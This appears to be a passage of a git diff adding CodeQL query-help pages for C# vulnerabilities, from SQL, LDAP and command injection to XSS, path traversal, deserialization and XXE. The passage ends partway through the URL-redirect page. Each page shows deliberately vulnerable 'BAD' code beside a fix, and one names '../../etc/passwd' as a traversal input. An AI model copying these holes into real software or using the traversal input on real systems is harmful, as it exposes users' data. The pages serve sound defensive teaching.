GOOD: use parameters with dynamic SQL + using (var connection = new SqlConnection(connectionString)) + { + var query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=" + + "@category ORDER BY PRICE"; + var adapter = new SqlDataAdapter(query2, connection); + var parameter = new SqlParameter("category", categoryTextBox.Text); + adapter.SelectCommand.Parameters.Add(parameter); + var result = new DataSet(); + adapter.Fill(result); + return result; + } + } +} + +``` + +## References +* MSDN: [How To: Protect From SQL Injection in ASP.NET](https://msdn.microsoft.com/en-us/library/ff648339.aspx). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/SqlInjection.md b/docs/language/query-help/csharp/SqlInjection.md new file mode 100644 index 00000000000..31052c94634 --- /dev/null +++ b/docs/language/query-help/csharp/SqlInjection.md @@ -0,0 +1,86 @@ +# SQL query built from user-controlled sources + +``` +ID: cs/sql-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-089/SqlInjection.ql) + +If a SQL query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious database queries. + + +## Recommendation +Usually, it is better to use a prepared statement than to build a complete query with string concatenation. A prepared statement can include a parameter, written as either a question mark (`?`) or with an explicit name (`@parameter`), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each parameter in the query. + +It is good practice to use prepared statements for supplying parameters to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. + + +## Example +In the following example, the code runs a simple SQL query in three different ways. + +The first way involves building a query, `query1`, by concatenating a user-supplied text box value with some string literals. The text box value can include special characters, so this code allows for SQL injection attacks. + +The second way uses a stored procedure, `ItemsStoredProcedure`, with a single parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. + +The third way builds a query, `query2`, with a single string literal that includes a parameter (`@category`). The parameter is then given a value by calling `Parameters.Add`. This version is immune to injection attacks, because any special characters are not given any special treatment. + + +```csharp +using System.Data; +using System.Data.SqlClient; +using System.Web.UI.WebControls; + +class SqlInjection +{ + TextBox categoryTextBox; + string connectionString; + + public DataSet GetDataSetByCategory() + { + // BAD: the category might have SQL special characters in it + using (var connection = new SqlConnection(connectionString)) + { + var query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + + categoryTextBox.Text + "' ORDER BY PRICE"; + var adapter = new SqlDataAdapter(query1, connection); + var result = new DataSet(); + adapter.Fill(result); + return result; + } + + // GOOD: use parameters with stored procedures + using (var connection = new SqlConnection(connectionString)) + { + var adapter = new SqlDataAdapter("ItemsStoredProcedure", connection); + adapter.SelectCommand.CommandType = CommandType.StoredProcedure; + var parameter = new SqlParameter("category", categoryTextBox.Text); + adapter.SelectCommand.Parameters.Add(parameter); + var result = new DataSet(); + adapter.Fill(result); + return result; + } + + // GOOD: use parameters with dynamic SQL + using (var connection = new SqlConnection(connectionString)) + { + var query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=" + + "@category ORDER BY PRICE"; + var adapter = new SqlDataAdapter(query2, connection); + var parameter = new SqlParameter("category", categoryTextBox.Text); + adapter.SelectCommand.Parameters.Add(parameter); + var result = new DataSet(); + adapter.Fill(result); + return result; + } + } +} + +``` + +## References +* MSDN: [How To: Protect From SQL Injection in ASP.NET](https://msdn.microsoft.com/en-us/library/ff648339.aspx). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredCommandInjection.md b/docs/language/query-help/csharp/StoredCommandInjection.md new file mode 100644 index 00000000000..bab076e373b --- /dev/null +++ b/docs/language/query-help/csharp/StoredCommandInjection.md @@ -0,0 +1,45 @@ +# Uncontrolled command line from stored user input + +``` +ID: cs/stored-command-line-injection +Kind: path-problem +Severity: error +Precision: medium +Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-078/StoredCommandInjection.ql) + +Code that passes user input directly to `System.Diagnostic.Process.Start`, or some other library routine that executes a command, allows the user to execute malicious code. + + +## Recommendation +If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. + +If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. + + +## Example +The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `System.Diagnostic.Process.Start` without examining it first. + + +```csharp +using System; +using System.Web; +using System.Diagnostics; + +public class CommandInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string param = ctx.Request.QueryString["param"]; + Process.Start("process.exe", "/c " + param); + } +} + +``` + +## References +* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). +* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). +* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredLDAPInjection.md b/docs/language/query-help/csharp/StoredLDAPInjection.md new file mode 100644 index 00000000000..cea773faa69 --- /dev/null +++ b/docs/language/query-help/csharp/StoredLDAPInjection.md @@ -0,0 +1,85 @@ +# LDAP query built from stored user-controlled sources + +``` +ID: cs/stored-ldap-injection +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-090 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-090/StoredLDAPInjection.ql) + +If an LDAP query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious LDAP queries. + + +## Recommendation +If user input must be included in an LDAP query, it should be escaped to avoid a malicious user providing special characters that change the meaning of the query. If possible, use an existing library, such as the AntiXSS library. + + +## Example +In the following examples, the code accepts an "organization name" and a "username" from the user, which it uses to query LDAP to access a "type" property. + +The first example concatenates the unvalidated and unencoded user input directly into both the DN (Distinguished Name) and the search filter used for the LDAP query. A malicious user could provide special characters to change the meaning of these queries, and search for a completely different set of values. + +The second example uses the Microsoft AntiXSS library to encode the user values before they are included in the DN and search filters. This ensures the meaning of the query cannot be changed by a malicious user. + + +```csharp +using Microsoft.Security.Application.Encoder +using System; +using System.DirectoryServices; +using System.Web; + +public class LDAPInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string userName = ctx.Request.QueryString["username"]; + string organizationName = ctx.Request.QueryString["organization_name"]; + // BAD: User input used in DN (Distinguished Name) without encoding + string ldapQuery = "LDAP://myserver/OU=People,O=" + organizationName; + using (DirectoryEntry root = new DirectoryEntry(ldapQuery)) + { + // BAD: User input used in search filter without encoding + DirectorySearcher ds = new DirectorySearcher(root, "username=" + userName); + + SearchResult result = ds.FindOne(); + if (result != null) + { + using (DirectoryEntry user = result.getDirectoryEntry()) + { + ctx.Response.Write(user.Properties["type"].Value) + } + } + } + + // GOOD: Organization name is encoded before being used in DN + string safeOrganizationName = Encoder.LdapDistinguishedNameEncode(organizationName); + string safeLDAPQuery = "LDAP://myserver/OU=People,O=" + safeOrganizationName; + using (DirectoryEntry root = new DirectoryEntry(safeLDAPQuery)) + { + // GOOD: User input is encoded before being used in search filter + string safeUserName = Encoder.LdapFilterEncode(userName); + DirectorySearcher ds = new DirectorySearcher(root, "username=" + safeUserName); + + SearchResult result = ds.FindOne(); + if (result != null) + { + using (DirectoryEntry user = result.getDirectoryEntry()) + { + ctx.Response.Write(user.Properties["type"].Value) + } + } + } + } +} + +``` + +## References +* OWASP: [LDAP Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html). +* OWASP: [Preventing LDAP Injection in Java](https://www.owasp.org/index.php/Preventing_LDAP_Injection_in_Java). +* AntiXSS doc: [LdapFilterEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapFilterEncode). +* AntiXSS doc: [LdapDistinguishedNameEncode](http://www.nudoq.org/#!/Packages/AntiXSS/AntiXssLibrary/Encoder/M/LdapDistinguishedNameEncode). +* Common Weakness Enumeration: [CWE-90](https://cwe.mitre.org/data/definitions/90.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredXPathInjection.md b/docs/language/query-help/csharp/StoredXPathInjection.md new file mode 100644 index 00000000000..53c34f32670 --- /dev/null +++ b/docs/language/query-help/csharp/StoredXPathInjection.md @@ -0,0 +1,64 @@ +# Stored XPath injection + +``` +ID: cs/xml/stored-xpath-injection +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-643 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-643/StoredXPathInjection.ql) + +If an XPath expression is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to create a malicious XPath expression. + + +## Recommendation +If user input must be included in an XPath expression, pre-compile the query and use variable references to include the user input. + +When using the `System.Xml.XPath` API, this can be done by creating a custom subtype of `System.Xml.Xsl.XsltContext`, and implementing `ResolveVariable(String,?String)` to return the user provided data. This custom context can be specified for a given `XPathExpression` using `XPathExpression.SetContext()`. For more details, see the "User Defined Functions and Variables" webpage in the list of references. + + +## Example +In the first example, the code accepts a user name specified by the user, and uses this unvalidated and unsanitized value in an XPath expression. This is vulnerable to the user providing special characters or string sequences that change the meaning of the XPath expression to search for different values. + +In the second example, the XPath expression is a hard-coded string that specifies some variables, which are safely replaced at runtime using a custom `XsltContext` that looks up the variables in an `XsltArgumentList`. + + +```csharp +using System; +using System.Web; +using System.Xml.XPath; + +public class XPathInjectionHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + string userName = ctx.Request.QueryString["userName"]; + + // BAD: Use user-provided data directly in an XPath expression + string badXPathExpr = "//users/user[login/text()='" + userName + "']/home_dir/text()"; + XPathExpression.Compile(badXPathExpr); + + // GOOD: XPath expression uses variables to refer to parameters + string xpathExpression = "//users/user[login/text()=$username]/home_dir/text()"; + XPathExpression xpath = XPathExpression.Compile(xpathExpression); + + // Arguments are provided as a XsltArgumentList() + XsltArgumentList varList = new XsltArgumentList(); + varList.AddParam("userName", string.Empty, userName); + + // CustomContext is an application specific class, that looks up variables in the + // expression from the varList. + CustomContext context = new CustomContext(new NameTable(), varList) + xpath.SetContext(context); + } +} + +``` + +## References +* OWASP: [Testing for XPath Injection](https://www.owasp.org/index.php?title=Testing_for_XPath_Injection_(OTG-INPVAL-010)). +* OWASP: [XPath Injection](https://www.owasp.org/index.php/XPATH_Injection). +* MSDN: [User Defined Functions and Variables](https://msdn.microsoft.com/en-us/library/dd567715.aspx). +* Common Weakness Enumeration: [CWE-643](https://cwe.mitre.org/data/definitions/643.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/StoredXSS.md b/docs/language/query-help/csharp/StoredXSS.md new file mode 100644 index 00000000000..8b4dded32fc --- /dev/null +++ b/docs/language/query-help/csharp/StoredXSS.md @@ -0,0 +1,43 @@ +# Stored cross-site scripting + +``` +ID: cs/web/stored-xss +Kind: path-problem +Severity: error +Precision: medium +Tags: security external/cwe/cwe-079 external/cwe/cwe-116 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-079/StoredXSS.ql) + +Directly writing user input (for example, an HTTP request parameter) to a webpage, without properly sanitizing the input first, allows for a cross-site scripting vulnerability. + + +## Recommendation +To guard against cross-site scripting, consider using contextual output encoding/escaping before writing user input to the page, or one of the other solutions that are mentioned in the references. + + +## Example +The following example shows the page parameter being written directly to the server error page, leaving the website vulnerable to cross-site scripting. + + +```csharp +using System; +using System.Web; + +public class XSSHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + ctx.Response.Write( + "The page \"" + ctx.Request.QueryString["page"] + "\" was not found."); + } +} + +``` + +## References +* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html). +* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting). +* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html). +* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/TaintedPath.md b/docs/language/query-help/csharp/TaintedPath.md new file mode 100644 index 00000000000..a4935bc9743 --- /dev/null +++ b/docs/language/query-help/csharp/TaintedPath.md @@ -0,0 +1,61 @@ +# Uncontrolled data used in path expression + +``` +ID: cs/path-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 external/cwe/cwe-099 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-022/TaintedPath.ql) + +Accessing paths controlled by users can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +Paths that are naively constructed from data controlled by a user may contain unexpected special characters, such as "..". Such a path may potentially point to any directory on the file system. + + +## Recommendation +Validate user input before using it to construct a file path. Ideally, follow these rules: + +* Do not allow more than a single "." character. +* Do not allow directory separators such as "/" or "\" (depending on the file system). +* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//" the resulting string would still be "../". +* Use a whitelist of known good patterns. +* Sanitize potentially tainted paths using `HttpRequest.MapPath`. + +## Example +In the first example, a file name is read from a `HttpRequest` and then used to access a file. However, a malicious user could enter a file name which is an absolute path - for example, "/etc/passwd". In the second example, it appears that the user is restricted to opening a file within the "user" home directory. However, a malicious user could enter a filename which contains special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/[user]/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. + + +```csharp +using System; +using System.IO; +using System.Web; + +public class TaintedPathHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + String path = ctx.Request.QueryString["path"]; + // BAD: This could read any file on the filesystem. + ctx.Response.Write(File.ReadAllText(path)); + + // BAD: This could still read any file on the filesystem. + ctx.Response.Write(File.ReadAllText("/home/user/" + path)); + + // GOOD: MapPath ensures the path is safe to read from. + string safePath = ctx.Request.MapPath(path, ctx.Request.ApplicationPath, false); + ctx.Response.Write(File.ReadAllText(safePath)); + } +} + +``` + +## References +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness Enumeration: [CWE-22](https://cwe.mitre.org/data/definitions/22.html). +* Common Weakness Enumeration: [CWE-23](https://cwe.mitre.org/data/definitions/23.html). +* Common Weakness Enumeration: [CWE-36](https://cwe.mitre.org/data/definitions/36.html). +* Common Weakness Enumeration: [CWE-73](https://cwe.mitre.org/data/definitions/73.html). +* Common Weakness Enumeration: [CWE-99](https://cwe.mitre.org/data/definitions/99.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md b/docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md new file mode 100644 index 00000000000..c9d8e029350 --- /dev/null +++ b/docs/language/query-help/csharp/ThreadUnsafeICryptoTransform.md @@ -0,0 +1,132 @@ +# Thread-unsafe use of a static ICryptoTransform field + +``` +ID: cs/thread-unsafe-icryptotransform-field-in-class +Kind: problem +Severity: warning +Precision: medium +Tags: concurrency security external/cwe/cwe-362 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Likely%20Bugs/ThreadUnsafeICryptoTransform.ql) + +Classes that implement `System.Security.Cryptography.ICryptoTransform` are not thread safe. + +This problem is caused by the way these classes are implemented using Microsoft CAPI/CNG patterns. + +For example, when a hash class implements this interface, there would typically be an instance-specific hash object created (for example using `BCryptCreateHash` function). This object can be called multiple times to add data to the hash (for example `BCryptHashData`). Finally, a function is called that finishes the hash and returns the data (for example `BCryptFinishHash`). + +Allowing the same hash object to be called with data from multiple threads before calling the finish function could potentially lead to incorrect results. + +For example, if you have multiple threads hashing `"abc"` on a static hash object, you may occasionally obtain the results (incorrectly) for hashing `"abcabc"`, or face other unexpected behavior. + +It is very unlikely somebody outside Microsoft would write a class that implements `ICryptoTransform`, and even if they do, it is likely that they will follow the same common pattern as the existing classes implementing this interface. + +Any object that implements `System.Security.Cryptography.ICryptoTransform` should not be used in concurrent threads as the instance members of such object are also not thread safe. + +Potential problems may not be evident at first, but can range from explicit errors such as exceptions, to incorrect results when sharing an instance of such an object in multiple threads. + + +## Recommendation +If the object is shared across instances, you should consider changing the code to use a non-static object of type `System.Security.Cryptography.ICryptoTransform` instead. + +As an alternative, you could also look into using `ThreadStatic` attribute, but make sure you read the initialization remarks on the documentation. + + +## Example +This example demonstrates the dangers of using a static `System.Security.Cryptography.ICryptoTransform` in a way that generates incorrect results. + + +```csharp +internal class TokenCacheThreadUnsafeICryptoTransformDemo +{ + private static SHA256 _sha = SHA256.Create(); + + public string ComputeHash(string data) + { + byte[] passwordBytes = UTF8Encoding.UTF8.GetBytes(data); + return Convert.ToBase64String(_sha.ComputeHash(passwordBytes)); + } +} + +class Program +{ + static void Main(string[] args) + { + int max = 1000; + Task[] tasks = new Task[max]; + + Action action = (object obj) => + { + var unsafeObj = new TokenCacheThreadUnsafeICryptoTransformDemo(); + if (unsafeObj.ComputeHash((string)obj) != "ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0=") + { + Console.WriteLine("**** We got incorrect Results!!! ****"); + } + }; + + for (int i = 0; i < max; i++) + { + // hash calculated on all threads should be the same: + // ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0= (base64) + // + tasks[i] = Task.Factory.StartNew(action, "abc"); + } + + Task.WaitAll(tasks); + } +} + +``` +A simple fix is to change the `_sha` field from being a static member to an instance one by removing the `static` keyword. + + +```csharp +internal class TokenCacheThreadUnsafeICryptoTransformDemoFixed +{ + // We are replacing the static SHA256 field with an instance one + // + //private static SHA256 _sha = SHA256.Create(); + private SHA256 _sha = SHA256.Create(); + + public string ComputeHash(string data) + { + byte[] passwordBytes = UTF8Encoding.UTF8.GetBytes(data); + return Convert.ToBase64String(_sha.ComputeHash(passwordBytes)); + } +} + +class Program +{ + static void Main(string[] args) + { + int max = 1000; + Task[] tasks = new Task[max]; + + Action action = (object obj) => + { + var safeObj = new TokenCacheThreadUnsafeICryptoTransformDemoFixed(); + if (safeObj.ComputeHash((string)obj) != "ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0=") + { + Console.WriteLine("**** We got incorrect Results!!! ****"); + } + }; + + for (int i = 0; i < max; i++) + { + // hash calculated on all threads should be the same: + // ungWv48Bz+pBQUDeXa4iI7ADYaOWF3qctBD/YfIAFa0= (base64) + // + tasks[i] = Task.Factory.StartNew(action, "abc"); + } + + Task.WaitAll(tasks); + } +} + +``` + +## References +* Microsoft documentation, [ThreadStaticAttribute Class](https://docs.microsoft.com/en-us/dotnet/api/system.threadstaticattribute?view=netframework-4.7.2). +* Stack Overflow, [Why does SHA1.ComputeHash fail under high load with many threads?](https://stackoverflow.com/questions/26592596/why-does-sha1-computehash-fail-under-high-load-with-many-threads). +* Common Weakness Enumeration: [CWE-362](https://cwe.mitre.org/data/definitions/362.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md b/docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md new file mode 100644 index 00000000000..8060d9a8f7e --- /dev/null +++ b/docs/language/query-help/csharp/ThreadUnsafeICryptoTransformLambda.md @@ -0,0 +1,96 @@ +# Thread-unsafe capturing of an ICryptoTransform object + +``` +ID: cs/thread-unsafe-icryptotransform-captured-in-lambda +Kind: problem +Severity: warning +Precision: medium +Tags: concurrency security external/cwe/cwe-362 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Likely%20Bugs/ThreadUnsafeICryptoTransformLambda.ql) + +Classes that implement `System.Security.Cryptography.ICryptoTransform` are not thread safe. + +This problem is caused by the way these classes are implemented using Microsoft CAPI/CNG patterns. + +For example, when a hash class implements this interface, there would typically be an instance-specific hash object created (for example using `BCryptCreateHash` function). This object can be called multiple times to add data to the hash (for example `BCryptHashData`). Finally, a function is called that finishes the hash and returns the data (for example `BCryptFinishHash`). + +Allowing the same hash object to be called with data from multiple threads before calling the finish function could potentially lead to incorrect results. + +For example, if you have multiple threads hashing `"abc"` on a static hash object, you may occasionally obtain the results (incorrectly) for hashing `"abcabc"`, or face other unexpected behavior. + +It is very unlikely somebody outside Microsoft would write a class that implements `ICryptoTransform`, and even if they do, it is likely that they will follow the same common pattern as the existing classes implementing this interface. + +Any object that implements `System.Security.Cryptography.ICryptoTransform` should not be used in concurrent threads as the instance members of such object are also not thread safe. + +Potential problems may not be evident at first, but can range from explicit errors such as exceptions, to incorrect results when sharing an instance of such an object in multiple threads. + + +## Recommendation +Create new instances of the object that implements or has a field of type `System.Security.Cryptography.ICryptoTransform` to avoid sharing it accross multiple threads. + + +## Example +This example demonstrates the dangers of using a shared `System.Security.Cryptography.ICryptoTransform` in a way that generates incorrect results or may raise an exception. + + +```csharp +public static void RunThreadUnSafeICryptoTransformLambdaBad() +{ + const int threadCount = 4; + // This local variable for a hash object is going to be shared across multiple threads + var sha1 = SHA1.Create(); + var b = new Barrier(threadCount); + Action start = () => { + b.SignalAndWait(); + for (int i = 0; i < 1000; i++) + { + var pwd = Guid.NewGuid().ToString(); + var bytes = Encoding.UTF8.GetBytes(pwd); + // This call may fail, or return incorrect results + sha1.ComputeHash(bytes); + } + }; + var threads = Enumerable.Range(0, threadCount) + .Select(_ => new ThreadStart(start)) + .Select(x => new Thread(x)) + .ToList(); + foreach (var t in threads) t.Start(); + foreach (var t in threads) t.Join(); +} + +``` +A simple fix is to change the local variable `sha1` being captured by the lambda to be a local variable within the lambda. + + +```csharp +public static void RunThreadUnSafeICryptoTransformLambdaFixed() +{ + const int threadCount = 4; + var b = new Barrier(threadCount); + Action start = () => { + b.SignalAndWait(); + // The hash object is no longer shared + for (int i = 0; i < 1000; i++) + { + var sha1 = SHA1.Create(); + var pwd = Guid.NewGuid().ToString(); + var bytes = Encoding.UTF8.GetBytes(pwd); + sha1.ComputeHash(bytes); + } + }; + var threads = Enumerable.Range(0, threadCount) + .Select(_ => new ThreadStart(start)) + .Select(x => new Thread(x)) + .ToList(); + foreach (var t in threads) t.Start(); + foreach (var t in threads) t.Join(); +} + +``` + +## References +* Microsoft documentation, [ThreadStaticAttribute Class](https://docs.microsoft.com/en-us/dotnet/api/system.threadstaticattribute?view=netframework-4.7.2). +* Stack Overflow, [Why does SHA1.ComputeHash fail under high load with many threads?](https://stackoverflow.com/questions/26592596/why-does-sha1-computehash-fail-under-high-load-with-many-threads). +* Common Weakness Enumeration: [CWE-362](https://cwe.mitre.org/data/definitions/362.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UncontrolledFormatString.md b/docs/language/query-help/csharp/UncontrolledFormatString.md new file mode 100644 index 00000000000..616c29cdd42 --- /dev/null +++ b/docs/language/query-help/csharp/UncontrolledFormatString.md @@ -0,0 +1,47 @@ +# Uncontrolled format string + +``` +ID: cs/uncontrolled-format-string +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-134 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-134/UncontrolledFormatString.ql) + +Passing untrusted format strings to `String.Format` can throw exceptions and cause a denial of service. For example, if the format string references a missing argument, or an argument of the wrong type, then `System.FormatException` is thrown. + + +## Recommendation +Use a string literal for the format string to prevent the possibility of data flow from an untrusted source. This also helps to prevent errors where the arguments to `String.Format` do not match the format string. + +If the format string cannot be constant, ensure that it comes from a secure data source or is compiled into the source code. + + +## Example +In this example, the format string is read from an HTTP request, which could cause the application to crash. + + +```csharp +using System.Web; + +public class HttpHandler : IHttpHandler +{ + string Surname, Forenames, FormattedName; + + public void ProcessRequest(HttpContext ctx) + { + string format = ctx.Request.QueryString["nameformat"]; + + // BAD: Uncontrolled format string. + FormattedName = string.Format(format, Surname, Forenames); + } +} + +``` + +## References +* OWASP: [Format string attack](https://www.owasp.org/index.php/Format_string_attack). +* Microsoft docs: [String.Format Method](https://docs.microsoft.com/en-us/dotnet/api/system.string.format) +* Common Weakness Enumeration: [CWE-134](https://cwe.mitre.org/data/definitions/134.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md b/docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md new file mode 100644 index 00000000000..4323b3903d6 --- /dev/null +++ b/docs/language/query-help/csharp/UnsafeDeserializationUntrustedInput.md @@ -0,0 +1,60 @@ +# Deserialization of untrusted data + +``` +ID: cs/unsafe-deserialization-untrusted-input +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-502 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-502/UnsafeDeserializationUntrustedInput.ql) + +Deserializing an object from untrusted input may result in security problems, such as denial of service or remote code execution. + + +## Recommendation +Avoid deserializing objects from an untrusted source, and if not possible, make sure to use a safe deserialization framework. + + +## Example +In this example, text from an HTML text box is deserialized using a `JavaScriptSerializer` with a simple type resolver. Using a type resolver means that arbitrary code may be executed. + + +```csharp +using System.Web.UI.WebControls; +using System.Web.Script.Serialization; + +class Bad +{ + public static object Deserialize(TextBox textBox) + { + JavaScriptSerializer sr = new JavaScriptSerializer(new SimpleTypeResolver()); + // BAD + return sr.DeserializeObject(textBox.Text); + } +} + +``` +To fix this specific vulnerability, we avoid using a type resolver. In other cases, it may be necessary to use a different deserialization framework. + + +```csharp +using System.Web.UI.WebControls; +using System.Web.Script.Serialization; + +class Good +{ + public static object Deserialize(TextBox textBox) + { + JavaScriptSerializer sr = new JavaScriptSerializer(); + // GOOD + return sr.DeserializeObject(textBox.Text); + } +} + +``` + +## References +* Muñoz, Alvaro and Mirosh, Oleksandr: [JSON Attacks](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf). +* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UntrustedDataInsecureXml.md b/docs/language/query-help/csharp/UntrustedDataInsecureXml.md new file mode 100644 index 00000000000..17907d33a59 --- /dev/null +++ b/docs/language/query-help/csharp/UntrustedDataInsecureXml.md @@ -0,0 +1,45 @@ +# Untrusted XML is read insecurely + +``` +ID: cs/xml/insecure-dtd-handling +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-611 external/cwe/cwe-827 external/cwe/cwe-776 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-611/UntrustedDataInsecureXml.ql) + +XML documents can contain Document Type Definitions (DTDs), which may define new XML entities. These can be used to perform Denial of Service (DoS) attacks, or resolve to resources outside the intended sphere of control. + + +## Recommendation +When processing XML documents, ensure that DTD processing is disabled unless absolutely necessary, and if it is necessary, ensure that a secure resolver is used. + + +## Example +The following example shows an HTTP request parameter being read directly into an `XmlTextReader`. In the current version of the .NET Framework, `XmlTextReader` has DTD processing enabled by default. + + +```csharp +public class XMLHandler : IHttpHandler +{ + public void ProcessRequest(HttpContext ctx) + { + // BAD: XmlTextReader is insecure by default, and the payload is user-provided data + XmlTextReader reader = new XmlTextReader(ctx.Request.QueryString["document"]); + ... + } +} + + +``` +The solution is to set the `DtdProcessing` property to `DtdProcessing.Prohibit`. + + +## References +* OWASP: [XML External Entity (XXE) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html). +* Microsoft Docs: [System.XML: Security considerations](https://msdn.microsoft.com/en-us/library/system.xml.xmlreadersettings(v=vs.110).aspx#Anchor_6). +* Common Weakness Enumeration: [CWE-611](https://cwe.mitre.org/data/definitions/611.html). +* Common Weakness Enumeration: [CWE-827](https://cwe.mitre.org/data/definitions/827.html). +* Common Weakness Enumeration: [CWE-776](https://cwe.mitre.org/data/definitions/776.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/UrlRedirect.md b/docs/language/query-help/csharp/UrlRedirect.md new file mode 100644 index 00000000000..97ae42aa9c9 --- /dev/null +++ b/docs/language/query-help/csharp/UrlRedirect.md @@ -0,0 +1,50 @@ +# URL redirection from remote source + +``` +ID: cs/web/unvalidated-url-redirection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-601 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-601/UrlRedirect.ql) + +Directly incorporating user input into a URL redirect request without validating the input can facilitate phishing attacks. In these attacks, unsuspecting users can be redirected to a malicious site that looks very similar to the real site they intend to visit, but which is controlled by the attacker. + + +## Recommendation +To guard against untrusted URL redirection, it is advisable to avoid putting user input directly into a redirect URL. Instead, maintain a list of authorized redirects on the server; then choose from that list based on the user input provided. + + +## Example +The following example shows an HTTP request parameter being used directly in a URL redirect without validating the input, which facilitates phishing attacks. It also shows how to remedy the problem by validating the user input against a known fixed string. + + +```csharp +using System; +using System.Web; + +public class UnvalidatedUrlHandler : IHttpHandler +{ + private const String VALID_REDIRECT = 